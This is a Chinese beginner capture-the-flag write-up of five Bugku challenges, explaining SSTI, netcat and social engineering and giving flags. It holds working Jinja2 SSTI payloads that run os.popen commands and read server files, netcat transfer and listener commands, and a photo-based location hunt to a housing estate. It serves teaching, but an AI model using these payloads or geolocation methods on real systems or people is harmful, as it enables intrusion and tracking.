【小白教程】CTF从入门到入门-01
2023-6-10 10:20:16 Author: 利刃信安攻防实验室(查看原文) 阅读量:26 收藏

  1. 签到题

https://ctf.bugku.com/challenges/detail/id/1.html

flag{BugKu-Sec-pwn!}

送分题,现实里百分之百不会存在类似题目!

2.Simple_SSTI_1

https://ctf.bugku.com/challenges/detail/id/196.html

首先,科普一下什么是SSTI,遇到类似题目需要怎么考虑,怎么入手

SSTI(Server-Side Template Injection)漏洞是一种常见的Web应用程序漏洞,它发生在服务器端模板引擎中。在使用模板引擎时,如果应用程序未正确过滤或验证用户提供的输入,攻击者可以通过构造恶意的模板注入代码来执行任意命令或读取敏感文件。
漏洞描述:
当应用程序使用服务器端模板引擎处理用户输入时,如果没有正确过滤或验证输入,攻击者可以在模板中注入恶意代码。这种注入可以导致模板引擎执行攻击者指定的任意代码,例如命令执行或文件读取。
漏洞成因:
SSTI漏洞的主要原因是在模板中对用户输入的处理不当。模板引擎通常允许在模板中插入变量,以便动态生成内容。如果用户输入直接传递给模板引擎,而应用程序没有对输入进行适当的过滤或验证,那么攻击者可以通过构造恶意输入来注入模板代码。
漏洞危害:
SSTI漏洞的危害性很高,因为攻击者可以执行任意命令或读取敏感文件。通过执行任意命令,攻击者可以完全控制服务器,并执行恶意操作,如获取敏感数据、篡改网站内容或进一步攻击服务器内部网络。通过读取敏感文件,攻击者可以获取系统配置、数据库凭据或其他敏感信息。
修复方案:
修复SSTI漏洞的关键在于对用户输入进行正确的过滤和验证,以确保输入不会被作为模板代码执行。以下是一些修复SSTI漏洞的建议方案:
1. 使用安全的模板引擎:选择并使用经过广泛审查和安全性验证的模板引擎,例如Jinja2、Mustache或Handlebars。这些模板引擎通常具有内置的安全机制,可以有效地防止SSTI漏洞。
2. 输入验证和过滤:对于从用户输入中获取的数据,在将其传递给模板引擎之前,进行严格的验证和过滤。确保只有允许的内容被传递给模板引擎,并对输入进行适当的转义或编码。
3. 上下文感知的输出转义:当将用户输入插入到模板中时,根据插入的上下文进行适当的输出转义。这样可以防止恶意代码注入。
4. 最小化权限:确保应用程序在运行时拥有最小化的权限。这样,即使当应用程序处理用户输入时,遵循以下最佳实践:
5. 使用白名单验证:在模板中使用白名单验证,只允许特定的变量和操作符被执行。这样可以限制模板中可执行的代码,防止恶意注入。
6. 禁用危险功能:禁用模板引擎中的危险功能和特性,如直接执行代码的eval()函数或模板继承功能。只启用必要的功能,并且要谨慎评估其安全性。
7. 安全配置:在模板引擎的配置中,确保启用了安全选项。这些选项可以限制某些操作或增加输出转义的级别,提高安全性。
在CTF竞赛中遇到SSTI题目时,可以按照以下步骤入手答题:
1. 理解漏洞原理:了解SSTI漏洞的工作原理和潜在危害,以及如何利用模板注入执行代码或读取文件。
2. 分析应用程序:仔细分析提供的应用程序或网站,查找可能存在SSTI漏洞的位置。关注可能与模板引擎交互的输入点,如用户输入、URL参数或表单数据。
3. 测试注入点:尝试在注入点插入一些特殊字符或模板语法,观察应用程序的响应。如果应用程序返回了非预期的结果,可能存在SSTI漏洞。
4. 构造有效负载:一旦确定存在SSTI漏洞,你需要构造有效的负载来执行命令或读取文件。根据使用的模板引擎和语法,构造相应的代码来实现目标。
5. 获取目标数据或控制服务器:根据题目要求,尝试执行命令或读取特定文件。通过适当的负载,可以获取敏感数据或控制目标服务器。
http://114.67.175.224:13608/

注入点:参数flag

http://114.67.175.224:13608/?flag={{7*7}}

http://114.67.175.224:13608/?flag={{config}}

flag{a5b7db84021e9d632de72f6979ddc090}
在SSTI漏洞中,如果你尝试注入 {{config}}作为有效负载,它将尝试访问模板引擎的配置对象并将其输出到模板中。这可以用于获取应用程序的配置信息,例如密钥、数据库连接参数等。
具体语法和可用性取决于所使用的模板引擎。以下是一些常见模板引擎中的 {{config}}`注入示例:
1. 对于Jinja2模板引擎:
{{ config }}
2. 对于Twig模板引擎:
{{ config|raw }}
3. 对于Handlebars模板引擎:
{{config}}
在CTF或实际渗透测试中,要区分不同的模板引擎,可以尝试以下方法:
1. 分析页面源代码:查看应用程序的前端页面源代码,通常可以找到模板引擎的标识或特定语法的使用。模板引擎常常会在HTML注释或特殊标记中显示其名称或版本信息。
2. 探测特定文件或目录结构:不同的模板引擎在文件结构和特定文件名方面可能有所不同。尝试访问常见的模板文件(如index.html.twig、base.html等)或查看目录结构可以提供线索。
3. 根据错误信息推断:有时,当注入的代码无法正确解析或执行时,模板引擎可能会返回错误信息。这些错误信息可能包含模板引擎的名称、版本或特定的错误消息,可用于推断正在使用的模板引擎。
4. 注入语法区别:不同的模板引擎具有不同的注入语法和特征。在尝试注入时,可以根据模板引擎的语法特征来区分它们。例如,Jinja2使用{{ variable }}形式的双大括号,Twig使用{{ variable }}加上特定的过滤器语法,Handlebars使用{{ variable }}形式。

3.瑞士军刀

https://ctf.bugku.com/challenges/detail/id/96.html

首先,科普一下瑞士军刀NC

Netcat(简称为nc)是一个常用的网络工具,被形象地称为瑞士军刀(Swiss Army Knife),因为它在渗透测试和网络管理中具有广泛的应用。Netcat 可以在命令行中进行使用,支持多种协议和功能,如端口扫描、端口转发、文件传输等。下面是对Netcat的详细介绍和使用方法,以及一些常用的命令示例。
Netcat 的常见用途包括:
1. 端口扫描:可以使用Netcat扫描目标主机的开放端口,检测目标系统的服务和应用程序。
2. 网络监听:Netcat可以在指定端口上监听网络连接,用于创建反向Shell或接收远程连接。
3. 文件传输:通过Netcat,你可以在网络上快速传输文件,允许将文件发送到远程主机或从远程主机接收文件。
4. 远程Shell:使用Netcat可以创建一个简单的反向Shell,使你能够在远程主机上执行命令。
下面是一些常用的Netcat命令示例:
1. 简单的端口扫描:
nc -zv <目标IP> <起始端口>-<结束端口>
2. 在本地主机上监听指定端口:
nc -lvp <监听端口>
3. 连接到远程主机和端口:
nc <目标IP> <目标端口>
4. 文件传输 - 发送文件:
nc -w 3 <目标IP> <目标端口> < 文件名
5. 文件传输 - 接收文件:
nc -lvp <监听端口> > 接收文件名
根据提示,执行命令
nc 114.67.175.224 13385

注意:KaLi Linux里面执行命令后没有任何回显,它在等待你输入

flag{9e861196d5a73bcd}

4.社工-进阶收集

https://ctf.bugku.com/challenges/detail/id/188.html

先科普一下,什么是社工

社交工程(Social Engineering)是一种攻击技术,旨在通过操纵人类心理和行为来获取机密信息、非法访问系统、获取物理入侵权限等。社交工程攻击利用人们的信任、好奇心、亲和力和社交工作方式,而不是直接攻击计算机系统或网络。以下是对社交工程的详细介绍和一般的实施步骤。
1. 信息收集(Reconnaissance):攻击者通过各种途径收集目标个人、组织或系统的相关信息,包括人员背景、工作职责、社交媒体信息、技术架构等。这些信息有助于制定有效的欺骗策略和攻击计划。
2. 目标选择(Targeting):在信息收集的基础上,攻击者选择一个或多个目标,通常是易受攻击的个人、组织或系统。目标选择可以根据攻击者的目的和预期的收益进行。
3. 建立信任关系(Building Trust):攻击者通过冒充可信任的身份或使用社交工程技巧来与目标建立信任关系。这可能包括伪造电子邮件、电话或在线身份,冒充员工、合作伙伴、客服代表等。
4. 欺骗和操作(Deception and Manipulation):攻击者使用各种心理操纵技术和欺骗手段来引诱目标采取特定的行动。这可能涉及通过电子邮件、电话、面对面交流或社交媒体等渠道进行伪造信息、诱导点击恶意链接、共享敏感信息等。
5. 获取目标信息(Information Gathering):通过建立信任关系和欺骗手段,攻击者诱导目标透露敏感信息,如用户名、密码、账号凭据、机密文件等。攻击者还可以利用社交工程技术获取技术或组织内部信息。
6. 绕过安全措施(Bypassing Security Measures):攻击者使用社交工程技术来绕过安全措施,例如通过说服目标执行恶意文件、绕过多重身份验证、利用弱密码等。
7. 持久化和利用(Persistence and Exploitation):一旦攻击者获取了目标信息,他们可以利用这些信息进行持久化访问、横向移动、进一步渗透系统或执行其他恶意行为。
重要提示:强调了解社交工程的目的是为了防范和保护自身和组织免受社交工程攻击,而不是鼓励进行恶意行为。以下是一些防范社交工程攻击的建议:
1. 培训和教育:为员工提供社交工程意识培训,教育他们识别和应对各种社交工程攻击手段。加强员工对安全风险的认识和反应能力。
2. 强化身份验证:实施多因素身份验证(MFA)和强密码策略,减少密码被猜测或破解的风险。
3. 审查和更新政策:制定和执行安全政策,明确规定敏感信息的处理、共享和披露方式。定期审查和更新政策以适应新的威胁和攻击技术。
4. 建立报告机制:建立一个安全事件报告和响应机制,使员工可以报告可疑的社交工程攻击尝试,并及时采取适当的措施。
5. 审查公开信息:定期审查和监控公开渠道上的个人和组织信息,避免不必要的敏感信息泄露。
6. 防范钓鱼攻击:使用反钓鱼过滤器和电子邮件验证技术来阻止钓鱼邮件的传递和接收。教育员工警惕可疑的电子邮件、链接和附件。
7. 定期测试和评估:进行社交工程渗透测试和安全评估,以发现和修复潜在的漏洞和薄弱点。
8. 更新和补丁管理:及时更新和修补系统、应用程序和设备的漏洞,减少攻击者利用漏洞的机会。
9. 强调安全文化:将安全作为组织的一部分,鼓励员工参与和遵守安全实践,共同维护良好的安全文化。
总结起来,社交工程攻击的防范需要综合技术措施、员工教育和安全策略的结合。通过增强安全意识、实施适当的安全措施和持续的风险评估,可以减少社交工程攻击的风险,并保护个人和组织的安全。

第一步,百度识图

对应地铁站:大雁塔地铁站

根据描述,从始发站出发,6站后转1站到达大雁塔地铁站

唯一满足要求的就是从2号线的韦曲南地铁站出发,6站后在小寨地铁站转乘3号线到达大雁塔地铁站

距离韦曲南地铁站800米,距离航天城地铁站1000米的小区

找到了,兰乔国际城

5.Simple_SSTI_2

https://ctf.bugku.com/challenges/detail/id/203.html

http://114.67.175.224:16592/

http://114.67.175.224:16592/?flag={{7*7}}

http://114.67.175.224:16592/?flag={{config}}

显示正常未见flag

当确定存在模板注入后就是先寻找可用类
{{''.__class__.__mro__[1].__subclasses__()}}
http://114.67.175.224:16592/?flag={{%27%27.__class__.__mro__[1].__subclasses__()}}

class 返回 str 类,str的基类是 object类,之后返回object的子类,就可以实现多种方法
命令执行
{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /app/").read()')}}
http://114.67.175.224:16592/?flag={{%27%27.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__[%27__builtins__%27][%27eval%27](%27__import__(%22os%22).popen(%22ls%20/app/%22).read()%27)}}

文件读取

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/app/flag').read()}}
http://114.67.175.224:16592/?flag={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/app/flag%27).read()}}

flag{d87f5bf9f0d1ee39923bea40d38a0dbb}

文章来源: http://mp.weixin.qq.com/s?__biz=MzU1Mjk3MDY1OA==&mid=2247504517&idx=1&sn=14cc35086f9cab32d6e383cf52d21adf&chksm=fbfb6248cc8ceb5e6d3dd184b1f4189f0f3aa9585e743b501a84eb1adffa1b2506567c9ecee5#rd
如有侵权请联系:admin#unsafe.sh